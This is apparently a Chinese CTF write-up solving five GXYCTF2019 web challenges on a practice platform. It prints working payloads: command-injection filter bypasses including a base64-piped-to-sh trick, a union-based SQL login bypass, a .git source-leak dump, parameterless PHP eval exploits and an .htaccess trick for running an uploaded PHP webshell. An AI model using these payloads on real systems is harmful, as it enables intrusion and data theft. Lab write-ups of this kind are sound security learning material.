GXYCTF2019_Web_wp

Ping Ping Ping

GXYCTF2019_Web_wp_第1张图片
根据题名,和这个/?ip=就知道是个命令执行题了,ping一下看看
GXYCTF2019_Web_wp_第2张图片
接下来ls一下看看
GXYCTF2019_Web_wp_第3张图片
发现有flag.phpindex.php两个文件,那就cat它们一下看看

这里发现空格被ban了,回显fxck your space!,这里可以用$IFS$9进行绕过,得到index.php的内容

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

发现flag连在一起的话也会被ban,导致这里无法直接读取 flag.php,然后就有一大堆花样操作了,首先就是
变量拼接

?ip=127.0.0.1;q=lag;cat$IFS$9f$q.php

内联执行

?ip=127.0.0.1;cat$IFS$9`ls`

内联执行就是把反引号的命令的输出当作输入执行
用sh

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

BabySQli

一个登陆框,试了一下根据回显判断用户名是admin
GXYCTF2019_Web_wp_第4张图片
admin'报错

万能密码admin' or 1=1 #得到回显

测试之后发现是小写的or=被ban了,查下字段
admin'Order by 4#,报错,存在3个字段

本来想看数据库的,但是()都被ban了,发现search.php里面有一段字符串base32->base64之后得到

select * from user where username = '$name'

这个题目也是有点坑,BUU有一个hint没有传上来,原题是说了密码时md5加密的,这里利用union查询并不存在的数据时,就会构造一个虚拟的数据,这个登录的判断过程应该是在登录的时候先查询用户名对不对,再查询密码对不对,这里在用户名框先输入一个不存在的用户名,然后输入我们构造的密码就可以成功登陆了,也就是payload

qqq'unIon Select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
1

得到flag

禁止套娃

备份文件扫描到.git/config.git源码泄露,用Githack.py把源码下载下来,注意用python2

python2 Githack.py http://9eaddafb-6e0f-46a7-83a6-02ea1b554888.node3.buuoj.cn/.git/

得到index.php


include "flag.php";	//有一个flag.php
echo "flag在哪里呢?
"
; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { //过滤掉了很多伪协议 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { /* 无参数RCE,限制输入只能为两种 a(b(c())); a(); */ if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { //过滤了一些关键字,很多函数用不了 // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

有一个flag.php,现在也不能拿到shell,只有读取flag.php文件
首先就是读取文件了,因为et被ban了,所以用不了file_get_contents()了,但是可以用readfile()highlight_file()show_source()
print_r(scandir('.'))查看目录,下一步,构造.,这里用到localeconv()函数
localeconv() 函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是.
再用current()函数,初始指向插入到数组中的第一个元素,也就是默认指向.,也可以用current()函数的别名pos()
现在就可以看得到目录的内容了,print_r(scandir(pos(localeconv())));注意要加分号,因为最后执行的是eval($_GET[‘exp’]);

然后就是想办法怎么读到flag.php,也就是倒数第二项了,几个函数
array_reverse():已相反的顺序返回数组
array_flip():交换数组的键和值
array_rand():返回一个包含随机键名的数组
然后就有很多种操作了
payload1

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

逆序,取next()

payload2

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

payload3
还有一种骚操作是用session_id(session_start()),设置PHPSESSID的cookie为flag.php
session_start()告诉php使用session,php默认是不主动使用session的,再通过session_id()得到当前的session id

BabyUpload

文件上传题
GXYCTF2019_Web_wp_第5张图片
测试发现image/jpeg可以上传,而且文件不能太大,上传的时候注意改一下

上传一个php看看

把php和phtml都给ban了,测试发现文件内的
但这个好绕过,就好了,这里我是想用Apache的文件解析漏洞,传一个php.aa结尾的木马,然后访问,但是没有执行,而是返回了代码,所以再传一个htaccess文件,内容

<FilesMatch "aa">
	SetHandler application/x-httpd-php
</FilesMatch>

意思是把aa当作php文件执行,但这里也不需要设置这个aa了,随便传一个什么123.aa,不用123.php.aa,因为没用到Apache的文件解析漏洞

StrongestMind

GXYCTF2019_Web_wp_第6张图片
一个计算器,提交答案,提交成功一千次获得flag,上脚本

# -*- coding: utf-8 -*-
import requests
import re
import time

url = "http://324d5a76-f2d1-4a53-9e68-b94654223b38.node3.buuoj.cn/"
s = requests.session()  #会话保持
source = s.get(url)
equation = re.findall(r'\d+.[+-].\d+', source.text) #算式正则
asw = eval(equation[0])
s.post(url,data={"answer":asw})
for i in range(0,1010):
    equation = re.findall(r'\d+.[+-].\d+', source.text) #算式正则
    asw = eval(equation[0])
    print(asw,i)#运行的时候看的见效果
    source = s.post(url,data={"answer":asw})
    time.sleep(0.01)
print(source.text)

注意sleep一下,不然题目环境会出问题,请求太快了,跑完就得到flag了,设置1010是防止出错了,但原则上是不会出错的
GXYCTF2019_Web_wp_第7张图片

你可能感兴趣的:(安全)